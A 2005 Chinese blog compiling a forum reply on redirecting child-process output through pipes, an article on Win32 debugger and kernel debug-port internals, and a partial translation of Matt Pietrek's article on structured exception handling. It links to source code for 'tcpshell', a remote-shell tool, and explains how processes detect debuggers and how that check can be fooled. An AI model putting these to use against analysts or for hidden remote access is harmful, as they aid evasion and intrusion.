Monday, February 28, 2005

 

Some notes on Pipe

发信人: hellguard (小四★你说你最爱丁香花⊙), 信区: MSDN
标 题: Re: 如何截取一个命令行程序的stdout和stderr?
发信站: BBS 水木清华站 (Wed Mar 2 11:19:08 2005), 站内

第二个问题最简单的办法是你转向标准输出,如果还有标准错误输出就会在console中看到。

第一个么,大同小异的都在下面了

[27] Windows管道技术简述
http://www.csdn.net/develop/article/18/18338.shtm

[28] HOWTO: Spawn Console Processes with Redirected Standard Handles
http://support.microsoft.com/default.aspx?scid=kb;EN-US;Q190351

[29] Using anonymous pipes to redirect standard input/output of a child process. - by Borland Developer Support Staff
http://bdn.borland.com/article/0,1410,10387,00.html

childspawn.cpp
http://www.sources.ru/cpp/using_anonymous_pipes.shtml

[30] tcpshell 0.10 for Windows 98
http://www.shadowpenguin.org/sc_toolbox/win32/tcpshell/tcpshell98.c

[31] tcpshell 0.10 for Windows2000
http://www.shadowpenguin.org/sc_toolbox/win32/tcpshell/tcpshell2000.c

[32] http://www.bosssoft.com/MyConsole.rar

[36] CreateHiddenConsoleProcess
http://www.ccas.ru/~posp/popov/spawn.htm

【 在 crazycool (Love will never lie) 的大作中提到: 】
: 需要做一个命令行程序,给另一个命令行程序传递参数
: 然后截取其stdout跟stderr到本程序的stdout,该用什么函数呢?
: 还有,就是如何知道cmd里一个程序的输出是stdout的还是stderr的?
: ...................

--

也许有一天,他再从海上蓬蓬的雨点中升起,
飞向西来,再形成一道江流,再冲倒两旁的石壁,
再来寻夹岸的桃花。然而,我不敢说来生,也不敢信来生......

http://www.opencjk.org/~scz/


※ 来源:·BBS 水木清华站 smth.org·[FROM: 211.167.254.*]

Saturday, February 26, 2005

 

Some notes on Win32 Debug - 2

5.
Win32 调试接口设计与实现浅析
作者: Flier Lu

  所谓调试器实际上是一个很宽泛的概念,凡是能够以某种形式监控其他程序执行过程的程序,都可以泛称为调试器。在Windows平台上,根据调试器的实现原理大概可以将之分为三类:内核态调试器、用户态调试器和伪代码调试器。
内核态调试器直接工作在操作系统内核一级,在硬件与操作系统之间针对系统核心或驱动进行调试,常见的有SoftICE、WinDbg、WDEB386和i386KD等等;用户态调试器则通过操作系统提供的调试接口,在操作系统和用户态程序之间针对用户态程序进行调试,常见的有各种开发环境如VC/Delphi自带的调试器,OllyDbg等等;伪代码调试器则使用目标系统自定义的调试接口,调试由用户态程序支持的脚本语言或虚拟机代码,常见的如JVM/CLR的调试工具、VB的pcode调试器、Active Script调试器等等。
因为伪代码调试器跟具体系统实现相关性太强,不具备原理层面的通用性,本系列文章尽量不涉及其内容,以后如果有机会可以再讨论一下JVM/CLR/Active Script提供的调试接口;用户态调试器应用最广泛,参考资料也较为完整,我会花较大精力和大家探讨;核心态调试器则跟操作系统结合较为紧密,加上我也不是太熟悉,只能尽力而为了,呵呵。欢迎大家提出批评指正意见和建议 :)
此外强烈推荐John Robbins在MSDN的Bugslayer专栏,以及其所著的一书(中文版《应用程序调试技术》),此书中对调试器从原理到应用都有很全面的讲解。

[1] 用户态调试器结构初探

用户态调试器直接使用Win32 API提供的调试接口,遵循Win32的事件驱动的设计思想,其实现思路非常简单,基本框架伪代码如下:

//启动要调试的进程或挂接调试器到已运行的进程上
CreateProcess(..., DEBUG_PROCESS, ...) or DebugActiveProcess(dwProcessId)

DEBUG_EVENT de;
BOOL bContinue = TRUE;
DWORD dwContinueStatus;

while(bContinue)
{
bContinue = WaitForDebugEvent(&de, INFINITE);

switch(de.dwDebugEventCode)
{
...
default:
{
dwContinueStatus = DBG_CONTINUE;
break;
}
}

ContinueDebugEvent(de.dwProcessId, de.dwThreadId, dwContinueStatus);
}

在调试器开始调试的时候,会启动被调试程序的新进程或者挂接(attach)到一个已运行进程上,此时Win32系统会启动调试接口的服务器端;然后调试器调用WaitForDebugEvent函数等待调试服务器端的调试事件被引发;调试器根据调试事件进行相应的处理;最后调用ContinueDebugEvent函数请求调试服务器继续执行被调试进程,以等待并处理下一个调试事件。

首先我们大致看看调试接口的服务器端的实现思路:调试服务的服务器端接口实际上是存在于被调试进程的调试端口(Debug Port),此核心对象实现上跟Win32的完成端口类似,都是通过一个核心队列实现的LPC端口。启动调试服务器实际上就是挂接Win32的调试子系统到被调试进程,并在被调试进程内构造调试端口。调试器通过调试端口与Win32的调试子系统通讯;调试子系统响应系统操作所引发的调试事件,并通过调试端口将调试事件分发给核心态/用户态调试器。

建立被调试程序的新进程时,需要在CreateProcess函数的dwCreationFlags参数设置DEBUG_ONLY_THIS_PROCESS或DEBUG_PROCESS标志位,以表示新建的进程需要被调试。CreateProcess函数的调用路径如下

CreateProcessA/CreateProcessW (kernel32.dll)
CreateProcessInternalW (kernel32.dll)
NtCreateProcessEx (ntoskrnl.dll)
PspCreateProcess (ntos\ps\create.c:969)

CreateProcessInternalW函数根据传入的dwCreationFlags参数,决定是否要构造端口核心对象用于调试端口,并设置PEB的相应调试标志;PspCreateProcess会根据传入参数的调试选项和端口对象句柄,选择是否创建目标进程的调试端口;如果要创建则将传入的端口句柄转换成内核对象引用,保存在被调试程序进程的EPROCESS->DebugPort字段里。
Win32 API提供的IsDebuggerPresent函数就是通过判断CreateProcessInternalW函数在PEB中设置的标志位来判断当前进程是否被调试的。IsDebuggerPresent函数伪代码如下:

BOOL IsDebuggerPresent(void)
{
return NtCurrentTeb()->ProcessEnvironmentBlock->BeingDebugged;
}

TEB和PEB的结构可 http://www.ntinternals.net/上找到。

不过此种方法很容易被调试器直接修改PEB内存结构所欺骗,故而有另外一种直接通过检查EPROCESS->DebugPort字段是否被使用,来判断此进程是否正在被调试的方法。以前水木上也有过几次讨论,如blowfish的《检测debugger的方法补遗》一文给出的代码。Windows XP/2003开始由Win32 API提供的 CheckRemoteDebuggerPresent 函数也是使用相同的思路,通过调用 NtQueryInformationProcess 函数查询调试端口实现的,伪代码如下:

BOOL CheckRemoteDebuggerPresent(HANDLE hProcess, PBOOL pbDebuggerPresent)
{
enum PROCESS_INFO_CLASS { ProcessDebugPort = 7 };

if(hProcess && pbDebuggerPresent)
{
HANDLE hPort;

*pbDebuggerPresent = NT_SUCCESS(NtQueryInformationProcess(hProcess, ProcessDebugPort, &hPort, sizeof(hPort), NULL)) ? TRUE : FALSE;

return *pbDebuggerPresent;
}
return FALSE;
}

与直接创建被调试程序的新进程不同,调试已启动进程的 DebugActiveProcess 函数首先连接到Win32 系统调试服务器的端口上,然后激活当前正在运行的被调试进程的调试端口。DebugActiveProcess的伪代码如下:

BOOL DebugActiveProcess(DWORD dwProcessId)
{
if(DbgUiConnectToDbg())
{
HANDLE hProcess = ProcessIdToHandle(dwProcessId);

if(hProcess)
{
DbgUiDebugActiveProcess(hProcess);
NtClose(hProcess);
}
}
return FALSE;
}

DbgUiConnectToDbg函数(ntos\dll\dlluistb.c:27)尝试连接核心提供的调试子系统端口(名为"\DbgUiApiPort"),如果成功连接会获得一个端口对象(保存在DbgUiApiPort NtCurrentTeb()->DbgSsReserved[1]),和一个调试状态转换的信号灯句柄(保存在DbgStateChangeSemaphore NtCurrentTeb()->DbgSsReserved[0])用于等待调试事件。伪代码如下:

#define DbgStateChangeSemaphore (NtCurrentTeb()->DbgSsReserved[0])
#define DbgUiApiPort (NtCurrentTeb()->DbgSsReserved[1])

NTSTATUS DbgUiConnectToDbg( VOID )
{
NTSTATUS st = NtConnectPort(&DbgUiApiPort, L"\\DbgUiApiPort", ..., &DbgStateChangeSemaphore);

if(NT_SUCCESS(st))
{
NtRegisterThreadTerminatePort(DbgUiApiPort);
}
else
{
DbgUiApiPort = NULL;
}
return st;
}

如果连接调试子系统成功,则调用NtRegisterThreadTerminatePort函数(ntos\ps\psdelete.c:1202)将调试端口加入到当前线程控制块的终止端口列表(ETHREAD->TerminationPortList)中。在线程结束的之前,会激活此列表中的端口,给调试器一个清理的机会。

DbgUiDebugActiveProcess函数完成具体的激活被调试进程的调试服务器的功能。伪代码如下:

#define DbgUiApiPort (NtCurrentTeb()->DbgSsReserved[1])

void DbgUiDebugActiveProcess(HANDLE hProcess)
{
return NtDebugActiveProcess(DbgUiApiPort) &&
DbgUiIssueRemoteBreakin(hProcess) &&
DbgUiStopDebugging(hProcess);
}

至于这几个函数的具体实现,等后面章节详细分析Win32调试子系统时再详细讲解,呵呵

在被调试进程启动了调试支持后,调试器调用WaitForDebugEvent函数等待调试事件的发生。此函数实际上是对DbgUiWaitStateChange函数(ntos\dll\dlluistb.c:93)的一个简单包装,通过等待DbgUiConnectToDbg函数获得的调试事件信号灯来完成实际功能。如果成功获得调试事件,还会通过NtRequestWaitReplyPort函数(ntos\lpc\lpcsend.c:717)向调试服务器通报DbgUiWaitStateChangeApi消息。

在处理完调试事件后,调试器调用的ContinueDebugEvent函数是DbgUiContinue函数的一个简单包装,也是使用NtRequestWaitReplyPort函数向调试服务器通报DbgUiContinueApi消息。

在完成调试功能后,WinXP/2003还提供了DebugActiveProcessStop函数停止调试。伪代码如下:

BOOL DebugActiveProcessStop(DWORD dwProcessId)
{
HANDLE hProcess = ProcessIdToHandle(dwProcessId);

if(hProcess)
{
CloseAllProcessHandles(dwProcessId);
DbgUiStopDebugging(hProcess);
if(NtClose(hProcess))
return TRUE;
}
return FALSE;
}

DbgUiStopDebugging函数(ntdll.dll)调用ZwRemoveProcessDebug函数(ntoskrnl.exe)关闭指定进程的调试端口,实现上是传入端口句柄和进程句柄,调用0xC7号系统服务完成最终功能。这个暂时就不深入讨论了,就此打住 :P

在了解这些后,对用户态调试器的实现应该就有了一个框架性的了解:其结构就是一个基于事件的模型,然后通过向调试子系统请求调试事件并完成具体操作。

前面说到 Win32 下的用户态调试器实际上就是一个while循环,循环体内先等待一个调试事件,然后处理之,最后将控制权交还给调试服务器,就好像一个窗口消息循环一样。调试事件的核心实际上就是一个DEBUG_EVENT结构,在WinBase.h文件中定义如下:

typedef struct _DEBUG_EVENT {
DWORD dwDebugEventCode;
DWORD dwProcessId;
DWORD dwThreadId;
union {
EXCEPTION_DEBUG_INFO Exception;
CREATE_THREAD_DEBUG_INFO CreateThread;
CREATE_PROCESS_DEBUG_INFO CreateProcessInfo;
EXIT_THREAD_DEBUG_INFO ExitThread;
EXIT_PROCESS_DEBUG_INFO ExitProcess;
LOAD_DLL_DEBUG_INFO LoadDll;
UNLOAD_DLL_DEBUG_INFO UnloadDll;
OUTPUT_DEBUG_STRING_INFO DebugString;
RIP_INFO RipInfo;
} u;
} DEBUG_EVENT, *LPDEBUG_EVENT;

dwDebugEventCode字段给出此调试事件的类型,dwProcessId和dwThreadId字段分别给出调试事件发生的进程和线程ID号。

调试事件一般有以下几类:

#define EXCEPTION_DEBUG_EVENT 1
#define CREATE_THREAD_DEBUG_EVENT 2
#define CREATE_PROCESS_DEBUG_EVENT 3
#define EXIT_THREAD_DEBUG_EVENT 4
#define EXIT_PROCESS_DEBUG_EVENT 5
#define LOAD_DLL_DEBUG_EVENT 6
#define UNLOAD_DLL_DEBUG_EVENT 7
#define OUTPUT_DEBUG_STRING_EVENT 8
#define RIP_EVENT 9

CREATE_PROCESS_DEBUG_EVENT事件在创建一个新的进程的第一个线程时被引发;相应的EXIT_PROCESS_DEBUG_EVENT事件在被调试的进程结束最后一个线程运行时被引发;每次新建/退出一个线程时会有CREATE_THREAD_DEBUG_EVENT/EXIT_THREAD_DEBUG_EVENT事件被引发;每次载入/卸载一个DLL时会有LOAD_DLL_DEBUG_EVENT/UNLOAD_DLL_DEBUG_EVENT事件被引发;被调试程序使用OutputDebugString函数输出一个调试字符串时调试器会接受到一个OUTPUT_DEBUG_STRING_EVENT事件;异常被引发时调试器会接受到一个第一时间的EXCEPTION_DEBUG_EVENT事件,如果调试器不处理此异常,则进入被调试程序的正常SEH调用链,如果被调试进程也不处理,则会再次引发此事件;RIP_EVENT则一般用于报告错误事件。
一般来说程序的调试事件按照如下顺序被引发:

CREATE_PROCESS_DEBUG_EVENT

LOAD_DLL_DEBUG_EVENT x n // 静态载入的DLL

CREATE_THREAD_DEBUG_EVENT & EXIT_THREAD_DEBUG_EVENT // 多线程程序中成对出现

LOAD_DLL_DEBUG_EVENT & UNLOAD_DLL_DEBUG_EVENT // 动态载入 DLL 时成对出现

EXCEPTION_DEBUG_EVENT x n // 随机出现

OUTPUT_DEBUG_STRING_EVENT x n // 程序写调试信息时出现

EXIT_PROCESS_DEBUG_EVENT

接下来我们详细分析每种调试事件被引发的原因和时机。具体的调试事件内容这里就不罗嗦了,有兴趣写调试器的朋友可以参考MSDN和中相关内容。

首先是建立进程的CREATE_PROCESS_DEBUG_EVENT事件和建立线程的CREATE_THREAD_DEBUG_EVENT事件。这两个事件都是由DbgkCreateThread函数(ntos\dbgk\dbgkproc.h:211)引发的。此函数首先检查当前线程是否是具有调试端口的活动线程;然后检查当前线程是否是进程的创建的第一个线程;如果不是第一个线程,或者调试器是挂接(attach)到一个活动进程上(判断依据是此进程是否占用过用户态的CPU时间),则向调试子系统的调试服务器引发CREATE_THREAD_DEBUG_EVENT事件;否则转而报告CREATE_PROCESS_DEBUG_EVENT事件。

DbgkCreateThread函数伪代码如下:

VOID DbgkCreateThread(PVOID StartAddress)
{
if(!PsGetCurrentProcess()->DebugPort || PsGetCurrentThread()->DeadThread)
{
return;
}

PsLockProcess(Process,KernelMode,PsLockWaitForever); // 锁定进程中所有线程

if(PsGetCurrentProcess()->Pcb.UserTime &&
PsGetCurrentProcess()->CreateProcessReported == FALSE)
{
PsGetCurrentProcess()->CreateProcessReported = TRUE;

// 引发 CREATE_PROCESS_DEBUG_EVENT 事件
}
else
{
// 引发 CREATE_THREAD_DEBUG_EVENT 事件
}

PsUnlockProcess(PsGetCurrentProcess());
}

Win32在创建用户态线程的时候,大致流程如下:

CreateThread (kernel32.dll)
CreateRemoteThread (kernel32.dll)
NtCreateThread (ntoskrnl.exe)
PspCreateThread (ntos\ps\create.c:237)

PspCreateThread函数在创建用户态线程时,使用PspUserThreadStartup函数(ntos\ps\create.c:1639)作为线程入口函数,因此线程被创建后直接进入此函数。PspUserThreadStartup函数对非僵死线程和没有结束的线程初始化其APC;然后调用DbgkCreateThread函数通知调试器采取相应动作;最后将进程的用户态CPU时间设置为1,以标示此进程已启动。对一种特殊线程,非僵死线程但线程启动时已经停止,则直接调用DbgkCreateThread然后立刻调用PspExitThread,以通知调试器采取相应动作。PspUserThreadStartup函数伪代码如下:

VOID PspUserThreadStartup(IN PKSTART_ROUTINE StartRoutine, IN PVOID StartContext)
{
if(!PsGetCurrentThread()->DeadThread && !PsGetCurrentThread()->HasTerminated)
{
// 初始化线程 APC
}
else
{
if(!PsGetCurrentThread()->DeadThread)
{
DbgkCreateThread(StartContext);
}
PspExitThread(STATUS_THREAD_IS_TERMINATING);
}

DbgkCreateThread(StartContext);

if(PsGetCurrentProcess()->Pcb.UserTime == 0)
{
PsGetCurrentProcess()->Pcb.UserTime = 1;
}
}

与DbgkCreateThread函数对应的是DbgkExitThread函数(ntos\dbgk\dbgkproc.c:384)和DbgkExitProcess函数(ntos\dbgk\dbgkproc.c:439),分别向调试服务器引发EXIT_THREAD_DEBUG_EVENT和EXIT_PROCESS_DEBUG_EVENT事件。
这两个函数由系统内核退出线程的PspExitThread函数(ntos\ps\psdelete.c:622)在合适的时候调用。PspExitThread函数检测当前进程PCB的线程列表是否只有当前线程一个线程,如果没有其他线程则调用DbgkExitProcess函数,否则调用DbgkExitThread函数。

Win32 系统中载入和卸载DLL,实际的函数调用流程如下:

LoadLibrary (kernel32.dll)
LoadLibraryEx (kernel32.dll)
BasepLoadLibraryAsDataFile (kernel32.dll)
NtMapViewOfSection (ntos\mm\mapview.c:204)
MmMapViewOfSection (ntos\mm\mapview.c:699)

NtMapViewOfSection函数在调用MmMapViewOfSection函数(ntos\mm\mapview.c:699)完成实际的内存文件映射之后,会根据映射节的标记位以及目标进程是否是当前进程,判断是否要调用DbgkMapViewOfSection函数(ntos\dbgk\dbgkproc.c:495),通知调试服务器有新的映象文件被加载。与之对应MmUnmapViewOfSection函数(ntos\mm\umapview.c:88)也在判断标志位和目标进程是否是当前进程后,在函数末尾调用DbgkUnMapViewOfSection函数(ntos\dbgk\dbgkproc.c:567)通知调试服务器有映象文件被卸载。

与前面的几种事件不同,OutputDebugString函数(kernel32.dll)实际上是通过异常实现的。而且有趣的是,这个函数是为数不多的W后缀Unicode版本实现上转而调用A后缀Ansi版本,完成实际功能的例子。OutputDebugStringA函数(kernel32.dll)实际上使用RaiseException函数引发了一个异常号为0x40010006的软件异常,并将字符串的指针和长度作为异常参数传递。

DbgkForwardException函数(ntos\dbgk\dbgkport.c:96)作为实际引发EXCEPTION_DEBUG_EVENT调试事件的函数,在系统的异常分发KiDispatchException函数(ntos\ke\i386\exceptn.c:797)中被调用。KiDispatchException函数根据异常被引发时的状态,分别完成核心和用户态的异常处理工作。

对核心态异常,首先给核心调试程序一个处理机会,然后试图分发到基于帧的SEH异常链去,没有被处理的话则再给核心调试程序一个机会,如果还是没被处理,就只能调用KeBugCheckEx函数(ntos\ke\bugcheck.c:157)蓝屏了,呵呵。
对用户态异常,还是首先试图让核心调试器处理,如果不行才调用DbgkForwardException函数分发,没有被处理的话则多次尝试,如果还是没被处理,就停止线程并报告异常给用户。KiDispatchException函数伪代码如下:

VOID KiDispatchException (IN PEXCEPTION_RECORD ExceptionRecord, IN PKEXCEPTION_FRAME ExceptionFrame,
IN PKTRAP_FRAME TrapFrame, IN KPROCESSOR_MODE PreviousMode, IN BOOLEAN FirstChance)
{
CONTEXT ContextFrame;

KeContextFromKframes(TrapFrame, ExceptionFrame, &ContextFrame); // 从核心异常帧(Frame)构造异常上下文(Context)

if (ExceptionRecord->ExceptionCode == STATUS_BREAKPOINT) // 处理调试断点 int 3
{
ContextFrame.Eip--;
}

if (PreviousMode == KernelMode)
{
if (FirstChance == TRUE)
{
if (KiDebugRoutine && KiDebugRoutine(..., FALSE) != FALSE) goto Handle1

if(RtlDispatchException(ExceptionRecord, &ContextFrame) == TRUE) goto Handled1;
}

if (KiDebugRoutine && KiDebugRoutine(..., TRUE) != FALSE) goto Handle1

KeBugCheckEx(...); // 核心错误,以可控方式崩溃 -_-b 说白了就是Deadth Blue Screen,呵呵
}
else // PreviousMode = UserMode
{
if (FirstChance == TRUE)
{
if (KiDebugRoutine && KiDebugRoutine(..., FALSE) != FALSE) goto Handle1

if (DbgkForwardException(ExceptionRecord, TRUE, FALSE)) goto Handled2;

// 将异常信息转换到用户模式,并尝试分发
}

if (DbgkForwardException(ExceptionRecord, TRUE, TRUE))
{
goto Handled2;
}
else if (DbgkForwardException(ExceptionRecord, FALSE, TRUE))
{
goto Handled2;
}
else
{
ZwTerminateThread(NtCurrentThread(), ExceptionRecord->ExceptionCode);
KeBugCheckEx(...);
}
}

Handled1:
KeContextToKframes(TrapFrame, ExceptionFrame, &ContextFrame,
ContextFrame.ContextFlags, PreviousMode);

Handled2:
}

DbgkForwardException函数分别针对DebugException和SecondChance参数的三种组合被调用。DebugException为True时向调试端口发送信息,否则向异常端口发送。

至此,我们对几种常见的调试事件的引发机制就大概有了一个了解。

从前面两个小节我们可以了解到,Win32 调试接口对用户态调试器来说,实际上绝大多数工作都是通过一个调试界面端口"DbgUiApiPort"完成的。用户态调试器通过此端口完成对调试子系统的挂接,进而接收和处理调试事件。因此,对调试子系统的分析也将从此端口开始。

首先来看看调试子系统以及调试界面和调试服务端口的创建过程。

在《Windows 2000 内部揭密》的第四章中,Solomon详细地介绍了 NT 系统启动的整个过程。其中SMSS (Session Manager) 是启动程序 NTLDR 载入运行的第一个本机(Native)应用程序(不使用 Win32 子系统的 API),其被作为操作系统一部分受到信任,完成系统初始化工作。Win32 子系统 CSRSS(Client-Server Runtime SubSystem)和系统登陆进程 WinLogon 在 SMSS 初始化工作完成后被载入执行,以实际完成接受用户登陆运行的工作。其中 SMSS 系统初始化的工作就包括对调试子系统的初始化。一个启动后的进程树实例如下:


以下为引用:

System(4)
smss.exe(388)
csrss.exe(436)
winlogon.exe(460)
services.exe(504)
lsass.exe(516)




smss.exe的入口函数(smserversmss.c:28)首先检查从 NTLDR 通过命令行传入的参数中是否有调试参数,如果有则将之分析后放入 SmpDebug 全局变量(smserversmsrvp.h:82)中;然后调用 SmpInit 函数(smserversminit.c:683)初始化Session Manager。
SmpInit 函数在完成初始化工作、构造 SMSS 服务端口 "SmApiPort" 和两个用于处理向 SMSS 发送服务请求的线程后,会调用 SmpLoadDataFromRegistry 函数(smserversminit.c:934)从注册表 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession Manager 键中载入 Session Manager 的相关参数。
Session Manager配置注册表键下SubSystems子键的Required、Optional和Kmode三个键,定义了系统支持的子系统类型。通常情况下,Required包括Debug和Windows子系统;Optional包括可选的Posix子系统;Kmode定义核心子系统Windows在核心态的实现win32k.sys。而子系统名字又进一步指向实现子系统的可执行文件映象。一个典型的设置如下:

以下为引用:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerSubSystems

Required = "Debug Windows"
Optional = "Posix"

Kmode = "%SystemRoot%system32win32k.sys"

Debug = ""

Windows = "%SystemRoot%system32csrss.exe ObjectDirectory=Windows SharedSection=1024,3072,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ProfileControl=Off MaxRequestThreads=16"

Posix = "%SystemRoot%system32psxss.exe"





其中Required中包括的子系统,SMSS将自动载入并初始化之。值得注意的是SubSystems子键中的Debug与Windows、Posix等其他子系统不同,并没有指向实际的可执行文件。因为调试子系统是由 SmpLoadDataFromRegistry 函数根据子系统名字是否为 debug,判断在调用执行载入子系统命令的 SmpExecuteCommand 函数(smserversminit.c:3235)时,是否带 SMP_DEBUG_FLAG 标志,表示当前需要载入的是调试子系统。而 SmpExecuteCommand 函数入口处一旦发现标志参数包含 SMP_DEBUG_FLAG 标志,就立刻调用 SmpLoadDbgSs 函数(smserversmdbg.c:108)实际载入调试子系统并直接返回,不再进一步解析和执行命令。

完整的初始化调试子系统函数调用流程如下:


以下为引用:

main (smserversmss.c:28)
SmpInit (smserversminit.c:683)
SmpLoadDataFromRegistry (smserversminit.c:934)
SmpExecuteCommand (smserversminit.c:3235)
SmpLoadDbgSs (smserversmdbg.c:108)




Win2003下处理子系统载入的部分代码被放入一个独立的 SmpLoadSubSystemsForMuSession 函数中,而 debug 子系统则改为在每个Session中载入。也就是说传入 SmpExecuteCommand 函数的 SMP_DEBUG_FLAG 标志会导致此函数直接退出。

NT 下 SmpLoadDbgSs 函数中分别对调试子系统中用户态和核心态调试时间响应端口和处理线程做了初始化。伪代码如下:


以下为引用:

NTSTATUS SmpLoadDbgSs(IN PUNICODE_STRING DbgSsName)
{
NTSTATUS st = DbgpInit(); // 初始化用户态调试器环境

if(!NT_SUCCESS(st)) return st;

st = DbgSsInitialize(...); // 初始化核心态调试器环境

SmpDbgSsLoaded = TRUE; // 调试子系统已经成功载入

return STATUS_SUCCESS;
}





DbgInit 函数(smserverdbginit.c:26)中首先完成对应用程序线程Hash表的初始化;然后构造一个具有所有访问权限的安全描述符;使用此安全描述符创建两个LPC端口对象"DbgSsApiPort"和"DbgUiApiPort",分别被用户态调试器用于连接调试服务和调试界面;最后创建两个线程分别处理这两个端口上的调试事件,线程由 DbgpSsApiLoop 函数(smserverdbgloop.c:123)和 DbgpUiApiLoop 函数(smserverdbgloop.c:288)完成实际事件处理工作。

DbgSsInitialize 函数(ntosdlldllssstb.c:429)中则先建立与用户态调试器的调试服务端口的链接;然后初始化核心态调试器调试服务的相关全局变量;最后创建用户线程使用DbgSspSrvApiLoop函数(ntosdlldllssstb.c:737)处理核心调试事件。
其中核心态调试器的相关实现本节暂且不涉及,等后面具体讨论核心态调试器的原理时再详细分析。

下一节中将详细分析调试子系统中调试服务端口和调试界面端口的事件处理线程工作流程,以及如何与用户态调试器配合完成调试工作。

6.
A Crash Course on the Depths of Win32 Structured Exception Handling

创建时间:2005-03-16
文章属性:翻译
文章提交:tombkeeper (t0mbkeeper_at_hotmail.com)

A Crash Course on the Depths of Win32 Structured Exception Handling

Matt Pietrek 著
董岩 译

在所有 Win32 操作系统提供的机制中,使用最广泛的未公开的机制恐怕就要数结构化异常处理(structured exception handling,SEH)了。一提到结构化异常处理,可能就会令人想起 _try、_finally 和 _except 之类的词儿。在任何一本不错的 Win32 书中都会有对 SEH 详细的介绍。甚至连 Win32 SDK 里都对使用 _try、_finally 和 _except 进行结构化异常处理作了完整的介绍。既然有这么多地放都提到了 SEH,那我为什么还要说它是未公开的呢?本质上讲,Win32 结构化异常处理是操作系统提供的一种服务。编译器的运行时库对这种服务操作系统实现进行了封装,而所有能找到的介绍 SEH 的文档讲的都是针对某一特定编译器的运行时库。关键字 _try、_finally 和 _except 并没有什么神秘的。微软的 OS 和编译器定义了这些关键字以及它们的行为。其它的 C++ 编译器厂商也只需要尊从它们定好的语义就行了。在编译器的 SEH 层减少了直接使用纯操作系统的 SEH 所带来的危害的同时,也将纯操作系统的 SEH 从大家的面前隐藏了起来。

我收到过大量的电子邮件说他们都需要实现编译器级的 SEH 但却找不到公开的文档。本来,我可以指着 Visual C++ 和 Borlang C++ 的运行时库的源代码说看一下它们就行了。但是,不知道是什么原因,编译器级的 SEH 仍是个天大的秘密。微软和 Borland 都没有提供 SEH 最内层的源代码。

在本文中,我会从最基本的概念上讲解结构化异常处理。在讲解的时候,我会将操作系统所提供的与编译器代码生成和运行时库支持的分离开来。当深入关键性操作系统程序的代码时,我基于的都是 Intel 版的 Windows NT 4.0。然而。我所讲的大部分内容同样适用于其它的处理器。

我会避免提及实际的 C++ 的异常处理,C++ 下用的是 catch() 而不是 _except。其实,真正的 C++ 异常处理的实现方式和我所讲的方式也是极为相似的。但是,真正 C++ 异常处理特有的复杂性会影响到我这里所讲的概念。对于深挖那些晦涩的 .H 和 .INC 文件并拼凑出 Win32 SEH 的相关代码,最好的一个信息来源就是 IBM OS/2 的头文件(特别是 BSEXCPT.H)。这对有相关经验的人并没什么可希奇的,这里讲的 SEH 机制在微软开发 OS/2 时就定义了。因此,Win32 的 SEH 与 OS/2 的极为相似。

SEH in the Buff

若将 SEH 的细节都放到一起讨论,任务实在艰巨,因此,我会从简单的开始,一层一层往深里讲。如果之前从未使用过结构化异常处理,则正好心无杂念。若是用过,那就要努力将 _try、GetExceptionCode 和
EXCEPTION_EXECUTE_HANDLER从脑子中扫出,假装这是一个全新的概念。Are you ready?Good。

当线程发生异常时,操作系统会将这个异常通知给用户使用户能够得知它的发生。更特别的是,当线程发生异常时,操作系统会调用用户定义的回调函数。这个回调函数想做什么就能做什么。例如,它可以修正引起异常的程序,也可以播放一段 .WAV 文件。无论回调函数干什么,函数最后的动作都是返回一个值告诉系统下面该干些什么(这样说并不严格,但目前可以认为是这样)。既然在用户代码引起异常后,操作系统会回调用户的代码,那这个回调函数又是什么样的呢?换句话说,关于异常都需要知道哪些信息呢?其实无所谓,因为 Win32 已经定义好了。异常的回调函数的样子如下:

EXCEPTION_DISPOSITION
__cdecl _except_handler(
struct _EXCEPTION_RECORD *ExceptionRecord,
void * EstablisherFrame,
struct _CONTEXT *ContextRecord,
void * DispatcherContext
);

这个函数原型来自标准 Win32 头文件 EXCPT.H,初看上去让人有点眼晕。如果慢慢看的话,似乎情况还没那么严重。对于初学者来说,大可以忽略返回值的类型 (EXCEPTION_DISPOSITION)。所需知道的就是这个函数叫 _except_handler,需要四个参数。

第一个参数是一个指向 EXCEPTION_RECORD 的指针。这个结构体定义在 WINNT.H 中,定义如下:

typedef struct _EXCEPTION_RECORD {
DWORD ExceptionCode;
DWORD ExceptionFlags;
struct _EXCEPTION_RECORD *ExceptionRecord;
PVOID ExceptionAddress;
DWORD NumberParameters;
DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;

参数 ExceptionCode 是操作系统分配给异常的号。在 WINNT.H 文件中查找开头为“STATUS_” 的宏就能找到一大堆这样的异常代号。例如,大家熟知的 STATUS_ACCESS_VIOLATION 的代号就是 0xC0000005。更为完整的异常代号可以从 Windows NT DDK 中的 NTSTATUS.H 文件里找到。EXCEPTION_RECORD 结构体的第四个元素是异常发生处的地址。其余的 EXCEPTION_RECORD 域目前都可以忽略掉。_except_handler 函数的第二个参数是一个指向 establisher frame 结构体的指针。在 SEH 里这可是个重要的参数,不过现在先不用管它。第三个参数是一个指向 CONTEXT 结构体的指针。CONTEXT 结构体定义在 WINNT.H 文件中,它保存着某一线程的寄存器的值。Figure 1 即为 CONTEXT 结构体的域。当用于 SEH 时,CONTEXT 结构体保存着发生异常时各寄存器的值。无独有偶,GetThreadContext 和 SetThreadContext 使用的也是相同的 CONTEXT 结构体。第四个也是最后的一个参数叫做 DispatcherContext,现在先不去管它。

简单总结一下,当发生异常时会调用一个回调函数。这个回调函数需要四个参数,其中三个都是结构体指针。在这些结构体中,有些域重要,有些并不重要。关键的问题是 _except_handler 回调函数收到了大量的信息,比如异常的类型和发生的位置。异常回调函数需要使用这些信息来决定所采取的行动。

我很想现在就给出一个样例程序来说明 _except_handler,只是仍有一些东西需要解释,即当异常发生时操作系统是如何知道在那里调用回调函数呢?答案在另一个叫 EXCEPTION_REGISTRATION 的结构体中。本文通篇都能见到这个结构体,因此对这部分还是不要囫囵吞枣为好。唯一能找到 EXCEPTION_REGISTRATION 正式定义的地方就是 Visual C++ 运行时库源代码中的 EXSUP.INC 文件:

_EXCEPTION_REGISTRATION struc
prev dd ?
handler dd ?
_EXCEPTION_REGISTRATION ends

